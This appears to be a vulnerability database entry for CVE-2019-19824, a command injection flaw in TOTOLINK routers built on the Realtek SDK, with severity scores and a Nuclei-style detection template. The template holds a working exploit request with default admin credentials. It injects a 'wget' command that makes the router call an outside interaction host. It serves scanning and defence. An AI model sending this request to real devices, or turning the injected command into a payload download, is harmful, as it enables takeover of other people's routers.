9 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
0.961 High
EPSS
Percentile
99.5%
TOTOLINK Realtek SDK based routers may allow an authenticated attacker to execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and N100RE through 3.4.0.
id: CVE-2019-19824
info:
name: TOTOLINK Realtek SD Routers - Remote Command Injection
author: gy741
severity: high
description: |
TOTOLINK Realtek SDK based routers may allow an authenticated attacker to execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and N100RE through 3.4.0.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
remediation: |
Apply the latest firmware update provided by the vendor to fix the vulnerability.
reference:
- https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html
- https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits
- https://nvd.nist.gov/vuln/detail/CVE-2019-19824
- https://sploit.tech
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2019-19824
cwe-id: CWE-78
epss-score: 0.96343
epss-percentile: 0.99519
cpe: cpe:2.3:o:totolink:a3002ru_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: totolink
product: a3002ru_firmware
tags: cve,cve2019,totolink,rce,router
http:
- raw:
- |
POST /boafrm/formSysCmd HTTP/1.1
Host: {{Hostname}}
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/x-www-form-urlencoded
submit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd=wget+http://{{interactsh-url}}
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4a0a00473045022100ff79dc402b8eb26b1c8e3edb4e9e6db7bdf02d5095fac7abf251ecf24e7a6b2d02204cda24102752e8fecbdc958059d1d52f56f9cf7e1559bf6db358e7cd455db638:922c64590222798bb761d5b6d8e72950
9 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
0.961 High
EPSS
Percentile
99.5%